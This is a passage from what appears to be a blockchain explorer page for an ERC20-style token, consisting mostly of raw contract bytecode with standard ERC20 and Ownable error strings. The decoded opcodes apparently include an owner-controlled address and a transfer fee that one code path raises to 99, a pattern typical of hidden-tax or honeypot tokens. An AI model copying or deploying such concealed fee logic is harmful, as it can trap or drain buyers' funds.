c6c6f77616e63650000006044820152606401610367565b61074b84848484036105b3565b50505050565b6001600160a01b0383166107b55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610367565b6001600160a01b0382166108175760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610367565b6001600160a01b0383166000908152600360205260409020548181101561088f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610367565b6108998282610dc5565b6001600160a01b038516600090815260036020908152604080832093909355600c905290812054819060ff1615156001148015906108e057506001600160a01b0385163214155b156108eb5760075491505b61090060646108fa8685610bb7565b90610bca565b61090b906000610d7d565b905080156109a3576004546001600160a01b03166000908152600360205260409020546109389082610bd6565b610943906001610dd8565b600480546001600160a01b03908116600090815260036020908152604091829020949094559154915184815291811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35b6001600160a01b0386166000908152600c602052604090205460ff1615156001148015906109ef57506001600160a01b0385166000908152600c602052604090205460ff161515600114155b8015610a105750326000908152600c602052604090205460ff161515600114155b8015610a2a57506001546001600160a01b03868116911614155b8015610a4357506009546001600160a01b038781169116145b8015610a5a57506001546001600160a01b03163314155b8015610a7457506004546001600160a01b03868116911614155b15610af757600854610a868286610dc5565b6001600160a01b038716600090815260036020526040902054610aa99190610d7d565b1115610af75760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610367565b610b2e610b048286610dc5565b610b0f906000610d7d565b6001600160a01b03871660009081526003602052604090205490610bd6565b610b39906001610dd8565b6001600160a01b0380871660008181526003602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610b838488610dc5565b610b8e906000610d7d565b60405190815260200160405180910390a3610baa868686610be2565b505050505050565b505050565b6000610bc38284610dd8565b9392505050565b6000610bc38284610def565b6000610bc38284610d7d565b6002546001600160a01b0390811690831603610bb257610c046009600b610e11565b60ff16600755505050565b600060208083528351808285015260005b81811015610c3c57858101830151858201604001528201610c20565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c7457600080fd5b919050565b60008060408385031215610c8c57600080fd5b610c9583610c5d565b946020939093013593505050565b600080600060608486031215610cb857600080fd5b610cc184610c5d565b9250610ccf60208501610c5d565b9150604084013590509250925092565b600060208284031215610cf157600080fd5b610bc382610c5d565b60008060408385031215610d0d57600080fd5b610d1683610c5d565b9150610d2460208401610c5d565b90509250929050565b600181811c90821680610d4157607f821691505b602082108103610d6157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156102f1576102f1610d67565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b818103818111156102f1576102f1610d67565b80820281158282048414176102f1576102f1610d67565b600082610e0c57634e487b7160e01b600052601260045260246000fd5b500490565b60ff8181168382160290811690818114610e2d57610e2d610d67565b509291505056fea2646970667358221220a17c41d0fcbdc9c59affd0feac160aa98bbd0e990957cdfef4650beec1738ca564736f6c63430008110033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d7146101ff578063a9059cbb14610212578063dd62ed3e14610225578063f2fde38b1461023857600080fd5b8063715018a6146101cb5780638da5cb5b146101d35780638f9a55c0146101ee57806395d89b41146101f757600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a57806369c2b9671461018d57806370a08231146101a257600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61024b565b60405161011a9190610c0f565b60405180910390f35b610136610131366004610c79565b6102dd565b604051901515815260200161011a565b6005545b60405190815260200161011a565b610136610166366004610ca3565b6102f7565b6040516009815260200161011a565b610136610188366004610c79565b61031b565b6101a061019b366004610cdf565b61033d565b005b61014a6101b0366004610cdf565b6001600160a01b031660009081526003602052604090205490565b6101a0610392565b6000546040516001600160a01b03909116815260200161011a565b61014a60085481565b61010d610406565b61013661020d366004610c79565b610415565b610136610220366004610c79565b610490565b61014a610233366004610cfa565b61049e565b6101a0610246366004610cdf565b6104c9565b6060600a805461025a90610d2d565b80601f016020809104026020016040519081016040528092919081815260200182805461028690610d2d565b80156102d35780601f106102a8576101008083540402835291602001916102d3565b820191906000526020600020905b8154815290600101906020018083116102b657829003601f168201915b5050505050905090565b6000336102eb8185856105b3565b60019150505b92915050565b6000336103058582856106d7565b610310858585610751565b506001949350505050565b6000336102eb81858561032e838361049e565b6103389190610d7d565b6105b3565b6000546001600160a01b031633146103705760405162461bcd60e51b815260040161036790610d90565b60405180910390fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146103bc5760405162461bcd60e51b815260040161036790610d90565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606006805461025a90610d2d565b60003381610423828661049e565b9050838110156104835760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610367565b61031082868684036105b3565b6000336102eb818585610751565b6001600160a01b039182166000908152600b6020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104f35760405162461bcd60e51b815260040161036790610d90565b6001600160a01b0381166105585760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610367565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106155760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610367565b6001600160a01b0382166106765760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610367565b6001600160a01b038381166000818152600b602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006106e3848461049e565b9050600019811461074b578181101561073e5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610367565b61074b84848484036105b3565b50505050565b6001600160a01b0383166107b55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610367565b6001600160a01b0382166108175760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610367565b6001600160a01b0383166000908152600360205260409020548181101561088f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610367565b6108998282610dc5565b6001600160a01b038516600090815260036020908152604080832093909355600c905290812054819060ff1615156001148015906108e057506001600160a01b0385163214155b156108eb5760075491505b61090060646108fa8685610bb7565b90610bca565b61090b906000610d7d565b905080156109a3576004546001600160a01b03166000908152600360205260409020546109389082610bd6565b610943906001610dd8565b600480546001600160a01b03908116600090815260036020908152604091829020949094559154915184815291811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35b6001600160a01b0386166000908152600c602052604090205460ff1615156001148015906109ef57506001600160a01b0385166000908152600c602052604090205460ff161515600114155b8015610a105750326000908152600c602052604090205460ff161515600114155b8015610a2a57506001546001600160a01b03868116911614155b8015610a4357506009546001600160a01b038781169116145b8015610a5a57506001546001600160a01b03163314155b8015610a7457506004546001600160a01b03868116911614155b15610af757600854610a868286610dc5565b6001600160a01b038716600090815260036020526040902054610aa99190610d7d565b1115610af75760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610367565b610b2e610b048286610dc5565b610b0f906000610d7d565b6001600160a01b03871660009081526003602052604090205490610bd6565b610b39906001610dd8565b6001600160a01b0380871660008181526003602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610b838488610dc5565b610b8e906000610d7d565b60405190815260200160405180910390a3610baa868686610be2565b505050505050565b505050565b6000610bc38284610dd8565b9392505050565b6000610bc38284610def565b6000610bc38284610d7d565b6002546001600160a01b0390811690831603610bb257610c046009600b610e11565b60ff16600755505050565b600060208083528351808285015260005b81811015610c3c57858101830151858201604001528201610c20565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c7457600080fd5b919050565b60008060408385031215610c8c57600080fd5b610c9583610c5d565b946020939093013593505050565b600080600060608486031215610cb857600080fd5b610cc184610c5d565b9250610ccf60208501610c5d565b9150604084013590509250925092565b600060208284031215610cf157600080fd5b610bc382610c5d565b60008060408385031215610d0d57600080fd5b610d1683610c5d565b9150610d2460208401610c5d565b90509250929050565b600181811c90821680610d4157607f821691505b602082108103610d6157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156102f1576102f1610d67565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b818103818111156102f1576102f1610d67565b80820281158282048414176102f1576102f1610d67565b600082610e0c57634e487b7160e01b600052601260045260246000fd5b500490565b60ff8181168382160290811690818114610e2d57610e2d610d67565b509291505056fea2646970667358221220a17c41d0fcbdc9c59affd0feac160aa98bbd0e990957cdfef4650beec1738ca564736f6c63430008110033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.